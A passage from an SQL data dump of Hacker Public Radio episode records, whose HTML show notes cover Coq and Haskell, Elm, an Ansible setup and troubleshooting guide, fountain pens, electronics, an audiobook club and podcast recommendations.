discriminate.\r\n    + destruct H.\r\n      * simpl. contradiction.\r\n      * simpl. contradiction.\r\nQed.</code></pre>\r\n<p>It states that if <code>bloodType</code> is applied with anything else than two <code>BloodTypeO</code>, the result will not be <code>TypeO</code>. Proof for this is longer. It goes through each and every combination of parameters and proves that the result isn’t <code>TypeO</code>. Mathematician could write this as: ∀ b1 b2, b1 ≠ BloodTypeO ∨ b2 ≠ BloodTypeO → bloodType b1 b2 ≠ TypeO.</p>\r\n<p>If code above is in module called <code>Genes</code>, we can add following at the end to instruct compiler to emit Haskell code:</p>\r\n<pre><code>Extraction Language Haskell.\r\nExtraction Genes.</code></pre>\r\n<p>Resulting code is as follows:</p>\r\n<pre><code>data BloodTypeAllele =\r\n   BloodTypeA\r\n | BloodTypeB\r\n | BloodTypeO\r\n\r\ndata BloodType =\r\n   TypeA\r\n | TypeB\r\n | TypeAB\r\n | TypeO\r\n\r\nbloodType :: BloodTypeAllele -&gt; BloodTypeAllele -&gt; BloodType\r\nbloodType a b =\r\n  case a of {\r\n   BloodTypeA -&gt; case b of {\r\n                  BloodTypeB -&gt; TypeAB;\r\n                  _ -&gt; TypeA};\r\n   BloodTypeB -&gt; case b of {\r\n                  BloodTypeA -&gt; TypeAB;\r\n                  _ -&gt; TypeB};\r\n   BloodTypeO -&gt;\r\n    case b of {\r\n     BloodTypeA -&gt; TypeA;\r\n     BloodTypeB -&gt; TypeB;\r\n     BloodTypeO -&gt; TypeO}}</code></pre>\r\n<p>Now we have Haskell code that started in Coq, has two properties formally verified and is ready to be integrated with rest of the system.</p>\r\n<p>Further reading:</p>\r\n<ul>\r\n<li><a href=\"https://softwarefoundations.cis.upenn.edu/\">Software Foundations</a></li>\r\n<li><a href=\"https://cel.archives-ouvertes.fr/file/index/docid/459139/filename/coq-hurry.pdf\">Coq in a Hurry</a></li>\r\n</ul>\r\n',364,0,0,'CC-BY-SA','Coq, Haskell, mathematics',0,0,1),
(3059,'2020-04-23','A quick intro to Snapcast',293,'A brief overview of Snapcast, an open source multi-room audio streaming system.','<p>Relevant links:</p>\r\n<ul>\r\n<li><a href=\"https://github.com/badaix/snapcast\">Snapcast</a></li>\r\n<li><a href=\"https://www.musicpd.org/\">MPD</a></li>\r\n<li><a href=\"https://mpv.io/\">mpv</a></li>\r\n<li><a href=\"https://github.com/badaix/snapdroid\">Snapdroid</a></li>\r\n<li><a href=\"https://github.com/atoomic/snapcast-volume-ui\">snapcast-volume-ui</a></li>\r\n<li><a href=\"https://github.com/badaix/snapcast/blob/master/doc/json_rpc_api/v2_0_0.md\">Snapcast JSON-RPC documentation</a></li>\r\n</ul>',386,0,1,'CC-BY-SA','opensource, selfhosted',0,0,1),
(3062,'2020-04-28','Vassal: How to play board games while remote',931,'How to do physical distancing while avoiding social distance using digitized boardgames','<p>A friend, a stranger and I played <a href=\"https://www.vassalengine.org/\">https://www.vassalengine.org/</a> together.</p>\r\n<p>We played the Carcasonne-simple 1.2 module downloaded from <a href=\"https://www.vassalengine.org/wiki/Module:Carcassonne\">https://www.vassalengine.org/wiki/Module:Carcassonne</a>.</p>\r\n<p>There are some things that may be confusing the first time, but the game engine works well, the rule- and tile-set we played worked well, text chat is surprisingly adequate for talking to people while playing, and I would like to play again some time.</p>\r\n<p>Original Fediverse post at <a href=\"https://libranet.de/display/0b6b25a8-675e-91bf-8b9d-5c6226360513\">https://libranet.de/display/0b6b25a8-675e-91bf-8b9d-5c6226360513</a>.</p>',311,95,0,'CC-BY-SA','game, board game, xmpp, remote, network game',0,0,1),
(3063,'2020-04-29','Pens, pencils, paper and ink - 1',879,'Looking at a few more of my writing implements','<h2 id=\"introduction\">Introduction</h2>\r\n<p>It’s been over four years since I did a show about fountain pens. It was in the <a href=\"https://hackerpublicradio.org/series.php?id=23\" title=\"What&#39;s in My Toolkit\"><em>What’s in My Toolkit</em></a> series entitled <a href=\"https://hackerpublicradio.org/eps.php?id=1941\" title=\"What&#39;s in my case\"><em>What’s in my case</em></a>, show 1941 released on 2016-01-11.</p>\r\n<p>I thought it might be appropriate to visit the subject once again. I want to tell you about some new pens and pencils I have acquired, some inks I am enjoying and some of the notebooks I have bought.</p>\r\n<p>There’s too much for a single show here, so I’m making a mini-series of three shows. This also leaves the door open for more when the collection grows in the future!</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes with pictures for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr3063/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Fountain pens:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fountain_pen\">Wikipedia article</a></li>\r\n<li><a href=\"https://www.wikihow.com/Use-a-Fountain-Pen\">How to use a fountain pen</a></li>\r\n</ul></li>\r\n<li>Fountain pen revival:\r\n<ul>\r\n<li>Article in <em>“The Independent”</em>: <a href=\"https://www.independent.co.uk/news/long_reads/fountain-pens-stationery-writing-style-revival-a8707501.html\"><em>When a simple ballpoint just won’t do</em></a></li>\r\n</ul></li>\r\n<li>Reasons to use a fountain pen:\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=xVksqX7_650\">13 Reasons Why You Should Use a Fountain Pen</a></li>\r\n</ul></li>\r\n<li>Vacuum filling pens:\r\n<ul>\r\n<li>How to use a vacuum filler: <a href=\"https://www.youtube.com/watch?v=qTOSY8U2UIM\">Video from Goulet Pens</a></li>\r\n<li>TWSBI VAC-20 ink bottle: <a href=\"https://www.youtube.com/watch?v=JYMt1wEdWd4\">Video from Goulet Pens</a></li>\r\n</ul></li>\r\n<li>Pen brands:\r\n<ul>\r\n<li><a href=\"https://www.lamy.com\">LAMY</a></li>\r\n<li><a href=\"https://www.twsbi.com/\">TWSBI</a></li>\r\n<li><a href=\"https://www.pilotpen.com/\">Pilot</a></li>\r\n<li><a href=\"https://troikaus.com\">Troika</a> <em>(US site)</em></li>\r\n</ul></li>\r\n<li>HPR links:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1941\">hpr1941 :: What’s in my case</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2061\">hpr2061 :: Handwriting</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2273\">hpr2273 :: Fountain Pens</a></li>\r\n</ul></li>\r\n</ul>',225,112,1,'CC-BY-SA','fountain pen,ballpoint pen',0,0,1),
(3064,'2020-04-30','How I got started in Electronics',427,'How I got started in Electronics and some job stuff','<p>Links:</p>\r\n<ul>\r\n<li><a href=\"https://archive.org/search.php?query=forrest%20mims\" class=\"uri\">https://archive.org/search.php?query=forrest%20mims</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Forrest_Mims\" class=\"uri\">https://en.wikipedia.org/wiki/Forrest_Mims</a></li>\r\n<li><a href=\"https://www.newark.com/mcm-partnership\" class=\"uri\">https://www.newark.com/mcm-partnership</a></li>\r\n<li><p><a href=\"https://www.allelectronics.com/\" class=\"uri\">https://www.allelectronics.com/</a></p></li>\r\n<li><p>This is where I found the doubler circuit.<br />\r\n<a href=\"https://www.zpag.net/Electroniques/Kit/Radio_Shack_-_Engineer&#39;s_Mini-Notebook_-_Basic_Semiconductor_Circuits.pdf\" class=\"uri\">https://www.zpag.net/Electroniques/Kit/Radio_Shack_-_Engineer\'s_Mini-Notebook_-_Basic_Semiconductor_Circuits.pdf</a></p></li>\r\n<li><p>Close approximation of my first transformer.<br />\r\n<img src=\"https://archive.org/download/screenshotfrimar27171804cdt2020/screenshot_Fri%20Mar%2027%2017%3A18%3A04%20CDT%202020.png\" alt=\"https://archive.org/download/screenshotfrimar27171804cdt2020/screenshot_Fri%20Mar%2027%2017%3A18%3A04%20CDT%202020.png\" /></p></li>\r\n<li><p>Power supplies I had in my teens.<br />\r\n<img src=\"https://archive.org/download/screenshotfrimar27171804cdt2020/screenshot_Fri%20Mar%2027%2017%3A16%3A04%20CDT%202020.png\" alt=\"https://archive.org/download/screenshotfrimar27171804cdt2020/screenshot_Fri%20Mar%2027%2017%3A16%3A04%20CDT%202020.png\" /><br />\r\n<img src=\"https://archive.org/download/screenshotfrimar27171804cdt2020/screenshot_Fri%20Mar%2027%2017%3A40%3A31%20CDT%202020.png\" alt=\"https://archive.org/download/screenshotfrimar27171804cdt2020/screenshot_Fri%20Mar%2027%2017%3A40%3A31%20CDT%202020.png\" /></p></li>\r\n<li>Places I worked.\r\n<ul>\r\n<li>Manu-tronics<br />\r\n<a href=\"https://www.bizjournals.com/milwaukee/stories/1999/01/25/daily21.html\" class=\"uri\">https://www.bizjournals.com/milwaukee/stories/1999/01/25/daily21.html</a></li>\r\n<li>Bought out by Sanmina Corporation<br />\r\n<a href=\"https://www.sanmina.com/media-center/videos/kenosha-facility/\" class=\"uri\">https://www.sanmina.com/media-center/videos/kenosha-facility/</a></li>\r\n<li>Baxter Healthcare<br />\r\n<a href=\"https://www.baxter.com/\" class=\"uri\">https://www.baxter.com/</a></li>\r\n<li>Colleague 3 pump picture<br />\r\n<a href=\"https://drive.google.com/drive/folders/1tZlkSQi6gdpPc9UqGiDy2bzXuXcxZ-fl?usp=sharing\" class=\"uri\">https://drive.google.com/drive/folders/1tZlkSQi6gdpPc9UqGiDy2bzXuXcxZ-fl?usp=sharing</a></li>\r\n<li>Illinois Instrument (Systech Illinois)<br />\r\n<a href=\"https://www.systechillinois.com/en/products/ec900-process-oxygen-analyser\" class=\"uri\">https://www.systechillinois.com/en/products/ec900-process-oxygen-analyser</a></li>\r\n</ul></li>\r\n</ul>\r\n',318,0,0,'CC-BY-SA','electronics, soldering, trains, jobs',0,0,1),
(3105,'2020-06-26','Akaso EK7000 Pro',1009,'My experience with an inexpensive Waterproof action camera called the Akaso EK7000 Pro','<p>Action cameras are becoming very popular, and many incorporate a waterproof feature. If you want to try this with something less expensive than a GoPro, take a look at this review.</p>\r\n<ul>\r\n<li><a href=\"https://youtu.be/tucT47cn5II\" class=\"uri\">https://youtu.be/tucT47cn5II</a></li>\r\n<li><a href=\"https://www.palain.com/wp-content/uploads/2020/01/Camera.png\" class=\"uri\">https://www.palain.com/wp-content/uploads/2020/01/Camera.png</a></li>\r\n<li><a href=\"https://www.palain.com/wp-content/uploads/2020/01/Waterproof_Case-751x1024.png\" class=\"uri\">https://www.palain.com/wp-content/uploads/2020/01/Waterproof_Case-751x1024.png</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=xA7A5eYitLI\" class=\"uri\">https://www.youtube.com/watch?v=xA7A5eYitLI</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=L0guCNiJp5M\" class=\"uri\">https://www.youtube.com/watch?v=L0guCNiJp5M</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=1p4yOmvkyP4\" class=\"uri\">https://www.youtube.com/watch?v=1p4yOmvkyP4</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=NK1v_ECiJgo\" class=\"uri\">https://www.youtube.com/watch?v=NK1v_ECiJgo</a></li>\r\n<li><a href=\"https://www.palain.com/wp-content/uploads/2020/01/Removing-1024x764.png\" class=\"uri\">https://www.palain.com/wp-content/uploads/2020/01/Removing-1024x764.png</a></li>\r\n<li><a href=\"https://www.palain.com/wp-content/uploads/2020/04/20190601_004658.mov\" class=\"uri\">https://www.palain.com/wp-content/uploads/2020/04/20190601_004658.mov</a></li>\r\n<li><a href=\"https://www.palain.com/wp-content/uploads/2020/04/20190601_031004-1024x582.jpg\" class=\"uri\">https://www.palain.com/wp-content/uploads/2020/04/20190601_031004-1024x582.jpg</a></li>\r\n<li><a href=\"https://www.palain.com/photography/akaso-ek7000-pro/\" class=\"uri\">https://www.palain.com/photography/akaso-ek7000-pro/</a></li>\r\n</ul>\r\n',198,0,0,'CC-BY-SA','Camera, Waterproof Camera, Action camera',0,0,1),
(3068,'2020-05-06','Keeping track of downloads in Elm',791,'tuturto shows how to keep track of what data is being downloaded in Elm','<h2 id=\"background\">Background</h2>\r\n<p>I have page that requests several resources from server. To keep track what is going on, I initially had model like:</p>\r\n<pre><code>type alias Model =\r\n    { availableChassis : List Chassis\r\n    , chassisLoaded : Bool\r\n    , chassisLoading : Bool\r\n    ...\r\n    }</code></pre>\r\n<p>Problem with this is that I have to remember to check those boolean flags while rendering on screen. And it’s possible to have inconsistent state (both loading and loaded).</p>\r\n<h2 id=\"solution\">Solution</h2>\r\n<p>We can model state with algebraic datatypes and we don’t even have to write it by ourselves as there’s <a href=\"https://package.elm-lang.org/packages/krisajenkins/remotedata/latest\">RemoteData</a> library.</p>\r\n<p>Now we can change our model to following:</p>\r\n<pre><code>import RemoteData exposing (RemoteData(..), WebData)\r\n\r\ntype alias Model =\r\n    { availableChassis : WebData (List Chassis)\r\n    }</code></pre>\r\n<ul>\r\n<li><code>availableChassis</code> has four states it can be in:\r\n<ul>\r\n<li><code>NotAsked</code>, data isn’t available and it hasn’t been requested from server</li>\r\n<li><code>Loading</code>, data isn’t available, but it has been requested from server</li>\r\n<li><code>Success (List Chassis)</code>, data has been loaded from server</li>\r\n<li><code>Failure Http.Error</code>, there was error while loading data</li>\r\n</ul></li>\r\n</ul>\r\n<p>For example, while rendering the view, you could do</p>\r\n<pre><code>    case model.availableChassis of\r\n        NotAsked -&gt;\r\n            renderEmptyTable\r\n\r\n        Loading -&gt;\r\n            renderLoadingTable\r\n\r\n        Success chassis -&gt;\r\n            renderChassisList chassis\r\n\r\n        Failure error -&gt;\r\n            renderErrorMessage error</code></pre>\r\n',364,0,0,'CC-BY-SA','Elm, programming',0,0,1),
(3080,'2020-05-22','Ansible ping',440,'Troubleshooting a basic install of Ansible','Here are some steps you need to should take when setting up <a href=\"https://www.ansible.com/)\">Ansible</a> for the first time.\r\n\r\n<ul>\r\n<li><a href=\"#Install_the_software\">Install the software</a></li>\r\n<li><a href=\"#Confirm_ssh_working\">Confirm ssh working</a></li>\r\n<li><a href=\"#Create_a_Inventory/Host_file\">Create a Inventory/Host_file</a></li>\r\n<li><a href=\"#Ansible_Ping\">Ansible Ping</a></li>\r\n<li><a href=\"#Create_a_playbook\">Create a playbook</a></li>\r\n<li><a href=\"#Confirm_the_YAML_is_valid\">Confirm the YAML is valid</a></li>\r\n<li><a href=\"#Confirm_the_syntax_is_valid\">Confirm the syntax is valid</a></li>\r\n<li><a href=\"#Confirm_everything_works_together\">Confirm everything works together</a></li>\r\n</ul>\r\n\r\n<h3 id=\"Install_the_software\">Install the software</h3>\r\nFirst you need to <a href=\"https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html\">install</a> the <a href=\"https://www.ansible.com/)\">Ansible</a> software. On Fedora that is as simple as a <em>dnf install ansible</em>, or on debian <em>apt install ansible</em>.\r\n\r\n<h3 id=\"Confirm_ssh_working\">Confirm ssh working</h3>\r\n\r\nConfirm that you can connect to the servers via ssh as you would normally.\r\n\r\n<pre><code>ssh -i /home/my_user/.ssh/id_ed25519_pi my_user@192.168.0.1\r\nssh -i /home/my_user/.ssh/id_ed25519_pi your_username@192.168.1.2\r\n</code></pre>\r\n\r\n<h3 id=\"Create_a_Inventory/Host_file\">Create a Inventory/Host file</h3>\r\n\r\nTranslate the ssh commands into a <a href=\"https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html\">Inventory/Host</a> file. I am using a YAML in this example but other variants are available.\r\n\r\n<pre><code>all:\r\n  hosts:\r\n    my_server:\r\n      ansible_host: 192.168.0.1\r\n    your_server:\r\n      ansible_host: 192.168.1.2\r\n      ansible_ssh_user: your_username\r\n  vars:\r\n    ansible_connection: ssh\r\n    ansible_ssh_user: my_user\r\n    ansible_ssh_private_key_file: /home/my_user/.ssh/id_ed25519_pi\r\n</code></pre>\r\n\r\n<h3 id=\"Ansible_Ping\">Ansible Ping</h3>\r\nCheck that your server is up and reported correctly in your file by having <a href=\"https://www.ansible.com/)\">Ansible</a> ping it. This should allow you to determine if at least there is a command and control connection available.\r\n\r\n<pre><code>ansible --inventory-file my_inventory.yaml -m ping all\r\n</code></pre>\r\n\r\nThis uses the group <em>all</em> and will ping all servers under it. The reply below shows a positive and negative response. \r\n\r\n<pre><code>my_server | SUCCESS => {\r\n    \"ansible_facts\": {\r\n        \"discovered_interpreter_python\": \"/usr/bin/python\"\r\n    },\r\n    \"changed\": false,\r\n    \"ping\": \"pong\"\r\n}\r\nyour_server | UNREACHABLE! => {\r\n    \"changed\": false,\r\n    \"msg\": \"Failed to connect to the host via ssh: ssh: connect to host 192.168.1.2 port 22: No route to host\",\r\n    \"unreachable\": true\r\n}\r\n</code></pre>\r\n\r\nThe <em>msg</em> will give you a clue as to what is going wrong and you should try to ssh directly with the Ansible credentials again, and then try and ping using Ansible.\r\n<pre><code>ansible --inventory-file my_inventory.yaml -m ping your_server\r\n</code></pre>\r\n\r\nModify the Inventory file until you have managed to get a successful reply. \r\n\r\n<h3 id=\"Create_a_playbook\">Create a playbook</h3>\r\n\r\nWork on your playbook and verify that it is valid yaml.\r\n\r\n<pre><code>---\r\n- name: Test Ping\r\n  hosts: all\r\n  tasks:\r\n  - action: ping\r\n</code></pre>\r\n\r\n<h3 id=\"Confirm_the_YAML_is_valid\">Confirm the YAML is valid</h3>\r\nIf there is no reply all is good.\r\n<pre><code>yamllint ~/my_example.yaml\r\n</code></pre>\r\n\r\nIf there is no reply all is good. For your reference I will remove the <em>---</em> line and this is the response.\r\n<pre><code>yamllint ~/my_example.yaml\r\n/home/user/my_example.yaml\r\n  1:1       warning  missing document start \"---\"  (document-start)\r\n</code></pre>\r\n\r\n<h3 id=\"Confirm_the_syntax_is_valid\">Confirm the syntax is valid</h3>\r\nThen verify that the playbook is sane\r\n<pre><code>ansible-playbook --syntax-check ~/my_example.yaml\r\n</code></pre>\r\n\r\nIf there is no reply all is good. For your reference I will remove the <em>hosts</em> line and this is the response.\r\n<pre><code>ansible-playbook --syntax-check ~/my_example.yaml\r\nERROR! the field \'hosts\' is required but was not set\r\n</code></pre>\r\n\r\n<h3 id=\"Confirm_everything_works_together\">Confirm everything works together</h3>\r\n\r\nAfter that you should be able to run the playbook using.\r\n\r\n<pre><code>ansible-playbook --inventory-file my_inventory.yaml ~/my_example.yaml\r\n\r\nPLAY [Test Ping] ***************************************************************************************************\r\n\r\nTASK [Gathering Facts] *********************************************************************************************\r\n[WARNING]: Platform linux on host my_server is using the discovered Python interpreter at /usr/bin/python, but\r\nfuture installation of another Python interpreter could change this. See\r\nhttps://docs.ansible.com/ansible/2.9/reference_appendices/interpreter_discovery.html for more information.\r\nok: [my_server]\r\nfatal: [your_server]: UNREACHABLE! => {\"changed\": false, \"msg\": \"Failed to connect to the host via ssh: ssh: connect to host 192.168.1.2 port 22: No route to host\", \"unreachable\": true}\r\n\r\nTASK [ping] ********************************************************************************************************\r\nok: [my_server]\r\n\r\nPLAY RECAP *********************************************************************************************************\r\nmy_server                  : ok=2    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   \r\nyour_server                : ok=0    changed=0    unreachable=1    failed=0    skipped=0    rescued=0    ignored=0\r\n</code></pre>\r\n',30,0,0,'CC-BY-SA','ansible, ping, ssh',0,0,1),
(3084,'2020-05-28','AudioBookClub 18 - Star Trek: The Continuing Mission',6017,'The HPR Audiobook Club reviews the fan audio drama Star Trek: The Continuing Mission','<h1 id=\"in-this-episode-the-hpr_audiobookclub-discusses-star-trek-the-continuing-mission-created-by-sebastian-prooth-and-andy-tyrer\">In this episode, the HPR_AudioBookClub discusses <a href=\"https://startrekcontinuingmission.com/\">Star Trek The Continuing Mission</a> created by Sebastian Prooth and Andy Tyrer.</h1>\r\n<hr />\r\n<h1 id=\"non-spoiler-thoughts\">Non-Spoiler Thoughts</h1>\r\n<hr />\r\n<ul>\r\n<li>Thaj misses Star Trek, and this made me realize that (this has since changed)</li>\r\n<li>Voice acting is very good.</li>\r\n<li>It\'s hard to translate things like starship combat into an audio drama.</li>\r\n<li>Background sounds really sell the structure of these episodes as Star Trek.</li>\r\n<li>This proves that an abundance of canon is not a reason to reboot things. This finds a niche in an unexplored part of the timeline and works.</li>\r\n<li>The warp sound effect for jumping to warp is weird.</li>\r\n<li>We think LostnBronx should write a StarDrfiter Audiodrama for us to produce.</li>\r\n</ul>\r\n<h1 id=\"beverage-reviews\">Beverage Reviews</h1>\r\n<hr />\r\n<p>As usual, the HPR AudioBook Club took some time to review the beverages that each of us were drinking during the episode</p>\r\n<ul>\r\n<li><strong>Thaj:</strong> Water and something from Kroger that I think resembles chocolate ice cream.</li>\r\n<li><strong>x1101:</strong> Throwback style Mt. Dew made with real, diabetes inducing, sugar</li>\r\n<li><strong>pokey:</strong> Led Light Bulbs....wait what?!?!</li>\r\n<li><strong>FiftyOneFifty:</strong> Johnny Walker Black</li>\r\n</ul>\r\n<h1 id=\"things-we-talked-about\">Things We talked about</h1>\r\n<hr />\r\n<ul>\r\n<li>Recasting the captain was a bad idea.</li>\r\n<li>Thaj hates Cthulhu episodes of scifi shows.</li>\r\n<li>Which Star Trek is the best (the correct answer is DS9)</li>\r\n<li>Star Trek as an allegory for the real world.</li>\r\n<li>Pokey doesn\'t like time travel in Star Trek.</li>\r\n<li>And...we\'re back on DS9</li>\r\n<li>We geek about the different types of ships in Trek.</li>\r\n<li>Since we didn\'t talk about the audio drama that much, we did actually like it.</li>\r\n</ul>\r\n<h1 id=\"our-next-audiobook\">Our Next Audiobook</h1>\r\n<hr />\r\n<p><a href=\"https://scribl.com/books/PFC12/tincture-an-apocalyptic-proposition\">Tincture, An Apocalyptic Proposition</a></p>\r\n<h1 id=\"the-next-audiobook-club-recording\">The Next Audiobook Club Recording</h1>\r\n<hr />\r\n<p>Right now we are working through a backlog of older episode that have already been recorded. Once that ends we fully anticipate recording new episodes with listener participation.</p>\r\n<h1 id=\"further-recommendations\">Further Recommendations</h1>\r\n<hr />\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Stirling_engine\">Stirling Engines</a></li>\r\n<li><a href=\"https://nathanlowell.com/\">Nathan Lowell</a></li>\r\n<li>Pokey wouldn\'t mind a few cyborg modifications</li>\r\n<li><a href=\"https://www.panmacmillan.com/author/peterfhamilton\">Peter F. Hamilton</a></li>\r\n<li>Lock Picking</li>\r\n<li><a href=\"https://cs608829.vk.me/v608829353/ac55/QTzYhbf8oUc.jpg\">I Don\'t want to live on this planet anymore</a></li>\r\n<li>Cory Doctrow\'s <a href=\"https://craphound.com/makers/download/\">\"Makers\"</a></li>\r\n<li><a href=\"https://www.shapeways.com/product/T3ZY4LFDB/thorn-dice-set-with-decader\">3D printed metal dice</a></li>\r\n<li><a href=\"https://www.aliexpress.com/item/Practical-Portable-Casino-Spade-A-Poker-Card-Beer-Bottle-Opener-Stainless-Steel-Wine-Bottle-Opener-for/32243512631.html\">Ace of spaces credit card bottle opener</a></li>\r\n<li><a href=\"https://awesomestufftobuy.com/critical-hit-d20-ice-mold/\">Dice Ice</a></li>\r\n<li><a href=\"https://awesomestufftobuy.com/come-in-go-away-doormat/\">Doormat</a></li>\r\n</ul>\r\n<h1 id=\"feedback\">Feedback</h1>\r\n<hr />\r\n<p>Thank you very much for listening to this episode of the HPR AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you\'ll consider joining us next time we record a new episode. Please leave a few words in the episode\'s comment section.</p>\r\n<p>As always; remember to visit the HPR contribution page HPR could really use your <a href=\"https://hackerpublicradio.org/help_out.php\">help</a> right now.</p>\r\n<p>Sincerely, The HPR Audiobook Club</p>\r\n<p><em>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</em></p>\r\n<h1 id=\"our-audio\">Our Audio</h1>\r\n<hr />\r\n<p>This episode was processed using <a href=\"https://audacity.sourceforge.net/\">Audacity</a>. We\'ve been making small adjustments to our audio mix each month in order to get the best possible sound. Its been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it\'s not good at making everyone\'s voice the same volume. We\'re pretty happy with the way this month\'s show turned out, so we\'d like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).</p>\r\n<p>We use the \"Truncate Silence\" effect with it\'s default settings to minimize the silence between people speaking. When used with it\'s default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.</p>\r\n<p>Next we use the \"Compressor\" effect with the following settings:</p>\r\n<pre><code>Threshold: -30db\r\nNoise Floor: -50db\r\nRatio: 3:1\r\nAttack Time: 0.2sec\r\nDecay Time: 1.0 sec\r\n</code></pre>\r\n<p>\"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.</p>\r\n<p>After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.</p>\r\n<p>We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR server.</p>\r\n<p>At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file\'s metadata.</p>\r\n<p>At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.</p>\r\n<p>Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.</p>\r\n',270,0,1,'CC-BY-SA','Audiobooks, Audio Drama, Star Trek',0,0,1),
(3100,'2020-06-19','For your consideration - Makers Corner',4534,'Makers Corner is a tech oriented DIY podcast, from the Other Side Podcast Network','<p>\r\nI\'m amazed I didn\'t find this podcast earlier, epically as one half of the team is HPR Host <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=370\">Yannick</a>, and that we listed it on our Sister Project <a href=\"https://freeculturepodcasts.org/\">Free Culture Podcasts</a>.</p>\r\n<p>\r\nThis show is a sample episode I picked, but it is not a typical show. I wanted to give a bit more exposure to the interview.\r\n</p>\r\n<p>\r\nIn this episode, Nate talks about his oldest boy’s Electronic Engineering class. Then, <a href=\"https://twitter.com/pimoroni\">Jon</a> and <a href=\"https://twitter.com/gadgetoid\">Phil</a> join in to talk about the <a href=\"https://32blit.com/\">32Blit</a>. And finally, the guys have a look at the <a href=\"https://www.thingiverse.com/thing:1657541\">Monster Mouth Headphone Holder – Clampable</a>, from <a href=\"https://www.thingiverse.com/\">thingiverse</a>.</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Website: <a href=\"https://makerscorner.tech\">https://makerscorner.tech</a></li>\r\n<li>RSS Feed: <a href=\"https://makerscorner.tech/feed/podcast/\">https://makerscorner.tech/feed/podcast/</a></li>\r\n<li><a href=\"https://twitter.com/pimoroni\">https://twitter.com/pimoroni</a></li>\r\n<li><a href=\"https://twitter.com/gadgetoid\">https://twitter.com/gadgetoid</a></li>\r\n<li><a href=\"https://www.thingiverse.com/\">https://www.thingiverse.com/</a></li>\r\n</ul>',30,75,0,'CC-BY-SA','pimoroni, gadgetoid, Monster Mouth Headphone Holder,Free Culture Podcasts',0,0,1),
(3074,'2020-05-14','For your consideration - Escape Pod',1773,'A sample episode from Escape Pod The Original Science Fiction Podcast','<p>\r\nIt\'s high time I submitted a sample episode from <a href=\"https://escapepod.org/\">Escape Pod</a>, one of the many excellent Podcasts from the <a href=\"https://www.escapeartists.net/\">Escape Artists</a>. They are a serious platform for the best science fiction out there today.\r\n</p>\r\n<p>\r\nWith so much choice, I can pick a recommendation that I think will be right up HPR\'s alley, and that is <a href=\"https://escapepod.org/2018/04/19/escape-pod-624-fandom-for-robots/\">Escape Pod 624: Fandom for Robots</a> released on April 19, 2018 written by Vina Jie-Min Prasad and Narrated by Trendane Sparks.\r\n</p>\r\n<p>\r\nThe sound files are published by under a Creative Commons Attribution-NonCommercial-NoDerivatives license <a href=\"https://creativecommons.org/licenses/by-nc-nd/3.0/\">https://creativecommons.org/licenses/by-nc-nd/3.0/</a>.\r\n</p>',30,75,1,'CC-BY-NC-ND','EA Podcasts, Escape Pod, Fandom for Robots, Vina Jie-Min Prasad, Trendane Sparks',0,0,1),
(3326,'2021-05-03','HPR Community News for April 2021',4825,'HPR Volunteers talk about shows released and comments posted in April 2021','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=393\" target=\"_blank\">Anonymous Host</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3304\" target=\"_blank\">3304</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-04-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3304\" target=\"_blank\">Newsflash 21/01/04</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=393\" target=\"_blank\">Anonymous Host</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3305\" 